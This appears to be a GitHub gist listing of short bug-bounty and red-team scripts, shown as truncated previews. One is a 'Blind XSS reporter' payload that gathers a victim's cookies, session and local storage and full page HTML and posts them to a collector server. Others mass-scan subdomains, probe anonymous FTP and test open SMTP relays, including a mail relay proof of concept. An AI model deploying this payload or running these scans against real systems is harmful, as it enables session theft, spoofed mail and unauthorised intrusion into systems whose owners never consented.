Skip to content

Instantly share code, notes, and snippets.

email=$(whois $1 | grep 'Registrant Email' |awk -F':' '{print $2}'| xargs)
echo "https://www.reversewhois.io/?searchterm=$email" | html-tool tags td | grep -oP '\S+\.\w+'
@insi2304
insi2304 / index.php
Created December 31, 2019 09:01
Blind XSS reporter
var mailer = '<?php echo "//" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"] ?>';
var msg = 'USER AGENT\n' + navigator.userAgent + '\n\nTARGET URL\n' + document.URL;
msg += '\n\nREFERRER URL\n' + document.referrer + '\n\nREADABLE COOKIES\n' + document.cookie;
msg += '\n\nSESSION STORAGE\n' + JSON.stringify(sessionStorage) + '\n\nLOCAL STORAGE\n' + JSON.stringify(localStorage);
msg += '\n\nFULL DOCUMENT\n' + document.documentElement.innerHTML;
var r = new XMLHttpRequest();
r.open('POST', mailer, true);
r.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
@insi2304
insi2304 / ftp_check.sh
Created December 31, 2019 09:12
check for anonymous ftp access
for i in `cat domain_port_scan | grep -Po '21/tcp.*' | awk -F" " '{print $3}' | sort -u`;
do
echo "checking ftp on host: "$i;
wget --spider --tries=1 --user=anonymous --password=anonymous ftp://$i/
if [ $? -ne 0 ]; then
echo "Failed to connect to ftp host"
fi
done
@insi2304
insi2304 / run_masscan.sh
Created December 31, 2019 09:38
Run Masscan on subdomains
#!/bin/bash
for i in `cat domains`;
do
j=`dig +short $i | tail -n1`
echo $j >> domain_ip.txt
done
for k in `cat domain_ip.txt | sort -u`
do
echo "Trying scanning hostname" $k
if [ -z "$k" ]
@insi2304
insi2304 / smt_relay_check.sh
Created December 31, 2019 09:44
SMTP relay check on multiple subdomains
#!/usr/bin/env bash
declare -a arr=("25" "465" "587" "2525")
for i in `cat smtp_hosts`;
do
k=`dig +short $i | tail -n1`
if [ -z "$k" ]
then
echo "No ip present corresponding to hostname" $i
else
@insi2304
insi2304 / run_webanalyze.sh
Created December 31, 2019 09:48
Run WebAnalyze on subdomains
#!/bin/bash
go get -u github.com/rverton/webanalyze/...
webanalyze -update
for i in `cat web_domains | grep https`;
do
webanalyze -host $i |& tee -a webanalyze_webdomains.txt;
done
@insi2304
insi2304 / run_dirsearch.sh
Created December 31, 2019 09:51
Run dirsearch on subdomains
#!/bin/sh
for i in `cat /root/work/bugbounty/recon/my_recon/data/webhosts`;
do
python3 /root/tools/dirsearch/dirsearch.py -e php,jsp,asp,txt,zip,gz -u $i -w /root/tools/wordlists/content_discovery_all.txt | tee -a dirsearch_domain.log;
done
@insi2304
insi2304 / mail_relay_poc.sh
Created December 31, 2019 09:56
Mail Relay POC
#!/bin/bash
read -p "Enter Email Body: " body
read -p "Enter sender mail address: " sender
read -p "Enter reciever mail address: " recipient
mail_server_ip="vulndomain"
mail_server_port="25"
#recipient="youremail@gmail.com"
#sender="\"Vulndomain Support\"<${sender}>"
@insi2304
insi2304 / run_meg.sh
Created December 31, 2019 09:58
Run meg on subdomains
#!/bin/sh
meg -v /root/tools/wordlists/content_discovery_all.txt /root/work/bugbounty/recon/my_recon/data/webhosts_new domain_meg
@insi2304
insi2304 / my_recon.sh
Created December 31, 2019 11:06
Automated Recon
#!/usr/bin/env bash
# This was created during a red team activity
#set -x
if [ ! -x "$(command -v jq)" ]; then
echo "[-] This script requires jq. Exiting."
exit 1
fi